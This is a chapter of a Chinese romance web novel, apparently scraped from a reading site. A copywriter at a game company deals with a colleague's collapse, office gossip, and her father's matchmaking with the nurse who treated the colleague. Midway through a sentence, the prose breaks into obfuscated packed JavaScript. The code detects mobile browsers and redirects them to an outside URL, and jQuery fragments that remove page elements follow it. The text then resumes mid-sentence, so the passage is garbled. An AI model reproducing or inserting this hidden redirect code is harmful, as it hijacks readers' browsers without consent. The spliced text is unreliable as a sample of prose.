2. 是你躲不过02

作品:《是你躲不过

    上京医科大学附属第一医院的抢救室外,姜抒晨和几个人力资源部的女领导坐在塑料椅子上等着结果。


    走廊上的人来来往往,护士们都步履匆匆,走路带着小跑,看得姜抒晨又紧张了起来。


    不知过了多久,抢救室门楣上的灯牌才熄灭。


    抢救室的门缓缓开启,从里面走出一道白色的身影。


    姜抒晨赶忙站起身走上前去,目光盈盈地看向走出来的男人。


    他摘了口罩,如释重负地一笑:“病人没什么大事,因为哭得太厉害所以缺氧了才晕倒的。”


    一瞬间,姜抒晨感觉自己也有点儿缺氧,呼吸困难。


    她猜得出男人生了副百里挑一的好皮囊,可没想到他竟好看到如此地步。


    冷白的灯光将他的轮廓照得愈发立体,面容清冷俊朗,最撩人的是他笑起来时浅浅的梨涡,仿佛能把人的魂勾进去。


    意识到自己盯着他的脸看了好几秒,姜抒晨慌忙移开视线,问:“她头上的伤……也没事吗?”


    男人重新戴上口罩,道:“没有大碍,养一养就好了。”


    “那,小姜,你们几个先回去,我在这儿守着她。”女领导里最年长的那个开口说。


    姜抒晨还没来得及多看那个男人一眼,就被前辈拉走了。


    “唉,周晚吟真是个可怜人儿啊。”拉着姜抒晨的女人忍不住感叹道。


    姜抒晨疑惑地凝眉。


    走在另一边的同事连声应和,“是啊是啊,我进公司这么多年,第一次见她哭。”


    “可以问一下她怎么了吗?”姜抒晨的声音细如蚊呐。


    “你还不知道吗?”女人惊讶地说,“周晚吟的项目被砍了,今早才通知的,听说要走一大批人呢!”


    姜抒晨的眉头拧得更紧了。


    “这年头游戏不好做,公司赚不了快钱就直接砍项目。”


    “也怪周晚吟特立独行,非要做个什么3A大作,前期投入太久了。制作周期这么长,公司哪里能等啊。”


    “本来游戏的生存空间就很小,一堆家长盯着游戏举报,看看游戏公司去年倒闭多少家了。”


    “唉,周晚吟的项目都能被砍,下一个不知道是谁。”


    姜抒晨在边上听着,眼眶莫名地发了热。


    她一言不发地跟着她们坐进了回公司的计程车里,不由自主地攥紧了裙子。柔软的提花布料在她的手心皱成一团。


    混乱的脑海中,不合时宜地闪过了急救室外,男人那张年轻又俊朗的脸。


    那双羽睫下深不见底的眼眸,目光好像意味深长,耐人寻味。


    ***


    早上的意外打乱了她一整天的节奏,姜抒晨午休时间都在工作。她一手拿着有些干硬的便利店三明治,一手在键盘上飞速移动,调整着文案的措辞。


    旁边的同事围在一起吃饭,商讨着国庆要不要一起去环球乐园团建。


    姜抒晨一心想追上进度,对她们的有说有笑置之度外。


    看见姜抒晨一直在改文案,组长试着拉她加入对话。


    “小姜,你入职四个多月了,都没和我们一起出去玩过。”组长把椅子滑到她边上,说道。


    姜抒晨转过来,客气地回应:“我比较宅来着。”


    “难怪小姜都本科毕业了还没男朋友。”同组一个穿着Prada的大波浪说,“原来是太宅了。”


    另一个人附和她:“是啊,我们苏姐二十二岁都谈婚论嫁了。”


    苏晓婷娇嗔:“讨厌啦,还不是我老公追我追得太紧。”


    姜抒晨低头吃着硬韧难嚼的三明治,不是很想插话。她向来对别人的生活不感兴趣,也很讨厌别人插手自己的生活。


    “你别凡尔赛啊苏姐。我们可羡慕你了,这才二十六岁就住得上豪宅,上班也只是为了找点事儿干。”


    组长:“小刘说得对,小苏你命真好。”


    苏晓婷被这么一夸,很是受用,愈发飘飘然,连坐姿都端正了起来。


    她以一副过来人的姿态说道:“要我说,还是找个靠谱的人早点结婚比较实在。女人啊,太苦太累就会变成黄脸婆的。”


    说完,她把目光转向姜抒晨,热情地邀约:“国庆和我们一起去环球乐园吧?我让我老公帮我们抢快速通行证。小姜你偶尔也走动走动,不然怎么认识新的人呀?”


    姜抒晨委婉地推辞道:“我不是很在意这个,没关系的。谢谢苏老师关心了。”


    “你都二十二了,过了二十五女人可就不值钱了。”苏晓婷化着浓妆的脸上浮现出真假难辨的关心,“别看你是名校毕业,那会儿照样没人要。”


    姜抒晨强颜欢笑:“单着也没事,顺其自然吧。”


    苏晓婷见姜抒晨不顺着她的话说,脸色变得很是难看:“小姜,你们学校理工科很有名,理论上来说男生应该很多吧?怎么你大学四年,都没谈出个能结婚的对象?”


    抓着三明治的手一紧,蛋黄酱被挤了出来,脏了一手。


    姜抒晨想回身抽纸,苏晓婷眼疾手快地拿过自己的包,从里面抽了几张纸给姜抒晨。


    眼尖的同事一眼就认出这是LV的新款,纷纷赞不绝口,艳羡不已。


    苏晓婷甩了甩头发,瞥了姜抒晨一眼,道:“这是我老公刚给我买的。说实话,我一个人还真未必舍得。”


    刘知瑶按着胸口:“酸了酸了,你就是人生赢家!”


    姜抒晨跟着笑了两声,虽然能看透苏晓婷的用意,可她本就不在意这些,根本夸不出口。


    “诶,小姜,”苏晓婷滑着椅子靠近她,“你还没回答我呢。”


    “苏老师,”姜抒晨不卑不亢地说道,“我觉得我不是那种离了男人活不了的人。我大学都忙着写稿赚钱了。”


    言毕,她回到了桌前。


    苏晓婷吃了瘪,原本就铁青的脸色彻底黑了下来,“我说,姜抒晨,你是不是觉得你特别牛逼,和我们不一样?”


    姜抒晨正在敲键盘的手停了下来。


    她转头面带微笑,说:“我不觉得我特别牛逼,但我们确实不一样。”


    话音未落,周围还在窃窃私语的同事都鸦雀无声。


    姜抒晨接着说道:“我们每个人都是独一无二的,不是吗?”


    组长虚惊一场,赶忙打圆场:“对啊对啊,小苏你也别太担心她了,现在的年轻人都比较喜欢晚婚晚育。”


    苏晓婷也意识到自己的失态,咳嗽了两声,道:“就这么定了,国庆一起去团建。有对象的也把对象带来。小姜,你别再拒绝了,不然就是不给我面子了啊。”


    要不是还得上班赚钱,姜抒晨真想把键盘扔她脸上。


    *


    第二天是周六,姜抒晨照例回了父母家。


    纳美总部位于经济开发区,离家足足三十公里,所以姜抒晨在公司附近租了房,只有周末才去看望父母。


    姜抒晨刚进门,正在看晨间新闻的姜父便把电视的音量调低,转过头来忧虑地说:“听说你们公司昨天去了救护车?”


    姜父在上京医科大学当教授,不少同学和学生在医院工作,这方面的消息十分灵通。


    “是的,有人晕倒了。”姜抒晨洗了手坐到桌边,喝了一口姜母刚端过来的桂花粥。


    “我听我们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829869|158913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的交流群说是猝死。”姜父端起咖啡杯,话音有些沉重。


    姜抒晨更正他,“那是谣言。我还跟着去医院了,亲眼所见,不会错。”


    “那也差不多,反正你们公司压力大是众所周知。”姜母说道,“天天996,人是铁打的也会熬坏。”


    姜抒晨语调轻松道:“996的都是程序员。我们搞文字工作的没那么夸张。”


    “你要是听话进了体制内,每天朝九晚五活儿还少。”姜父适时地点评。


    “对啊。”姜母点头附和,“再说了,游戏公司能有什么前途,打游戏毁了多少人?”


    姜抒晨自知和他们辩论也没用,干脆来了个缓兵之计,乖巧道:“我会考虑换行业的。不过工作还没满一年就跳槽,简历不好看,先干着再说。”


    姜母笑了起来,眼尾浮现起无伤大雅的细纹:“你呀,花言巧语。”


    姜父不吃她这套:“你也别诓我们,你加班也不少。下班那么晚一个人多不安全,找个男朋友还能接你一下,我们也放心。”


    “爸,怎么又提找男朋友的事儿了?”姜抒晨失笑,“你们别瞎担心,最近挺……”


    昨天办公室家长里短还有公司裁人的糟心事儿涌上心头,姜抒晨一阵头痛,那句没说完的“最近挺好的”没了底气。


    她清了下嗓子,接上话头:“最近工作比较忙,没时间想别的。谈恋爱只会阻碍我搞钱。”


    姜父慢慢喝了口咖啡,缓声说:“我前两天和一个老同学聚了聚。就是自己开医药公司的那个段叔叔,他儿子叫段逸,26岁,也是单身,说是有合适的人让我撮合撮合。”


    虽然姜父姜母催得紧,可这还是姜父头一次介绍熟人,姜抒晨不好打断,便耐着性子听着。


    “这男孩子是我带过的研究生,一表人才,能说会道,实习的时候别提多讨喜了,各个科室抢着要。”姜父放下咖啡杯,拿起了手机,“你过来。”


    姜抒晨端着桂花粥走过去做做样子。


    姜父点开了相册,翻到了一张照片递给姜抒晨。


    “这是他的照片,多端正一小伙子。”


    姜抒晨腾出一只手接过手机敷衍地看了一眼。


    目光倏地凝滞住。


    这是一张白底的证件照,上面的男人穿着藏青色的西装,下颌线流畅利落,嘴角微微上扬,噙着浅浅的笑意,骄矜高贵,意气风发。


    “他?”


    姜抒晨指尖微颤,差点把粥洒出来。


    照片上的男人,正是昨天负责抢救周晚吟的那位。


    “怎么了?不满意?”姜父察觉出她面色的变化,问道。


    姜抒晨把手机递回去,摇了下头,“怎么会?他长得真的很好看。”


    嘴上云淡风轻,心下竟有了一丝丝前所未有的动摇。


    当下,纳美游戏顶梁柱级别的策划周晚吟惨遭滑铁卢,公司上下人人自危,她作为萌新,更是不敢放松。办公室恶心的人际关系也让她喘不过气。


    若是真能有一个人和她抱团取暖,倒也不是坏事,最起码能堵上父母的嘴,让他们少叨叨几句。


    姜父见她不算抗拒,又自顾自地介绍起来,“你段叔叔家底很雄厚,家教也很严格。为了让段逸继承家业,特地让他先在医院工作。别看他现在是个男护士,以后前途无量啊。”


    想到段逸摘下口罩之后对她露出的笑,姜抒晨欲言又止。


    姜父以为她对男护士有偏见,又解释道:“他是我带的护理学研究生,不是一般的小护士。”


    姜抒晨面露难色,“爸,我是说,他这么好看又这么厉害,你确定我俩合适?”